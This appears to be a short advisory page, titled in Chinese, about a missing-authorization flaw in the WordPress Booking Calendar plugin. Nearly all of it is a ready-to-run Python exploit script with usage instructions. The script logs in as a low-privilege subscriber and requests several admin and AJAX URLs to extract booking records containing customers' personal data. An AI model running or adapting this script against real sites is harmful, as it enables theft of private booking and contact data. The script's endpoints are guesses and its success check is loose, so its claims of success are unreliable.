WordPress Booking Calendar 10.14.11及之前版本存在缺失授权访问控制漏洞

# CVE-2025-14982 PoC - WordPress Booking Calendar Unauthorized Access # This PoC demonstrates the missing authorization vulnerability in Booking Calendar plugin import requests import sys from urllib.parse import urljoin def exploit_booking_calendar(target_url, username, password): """ Exploit the missing authorization vulnerability in WordPress Booking Calendar plugin. Requires only subscriber-level access to extract all booking records. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account (subscriber role) login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return None print('[+] Login successful with subscriber account') # Step 2: Access booking listing page without proper authorization check # The vulnerable endpoint is typically found in the admin area booking_urls = [ '/wp-admin/admin.php?page=wpbc&view_mode=listing', '/wp-admin/admin.php?page=bookings&tab=listing', '/?wpbc_ajax=1&action=wpbc_get_bookings' ] for booking_url in booking_urls: full_url = urljoin(target_url, booking_url) response = session.get(full_url) # Check if we can access booking data if 'booking' in response.text.lower() or 'email' in response.text: print(f'[+] Successfully accessed booking data at: {full_url}') print(f'[+] Response contains booking records with PII') return response.text print('[-] Could not extract booking data') return None if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_booking_calendar(target, user, pwd)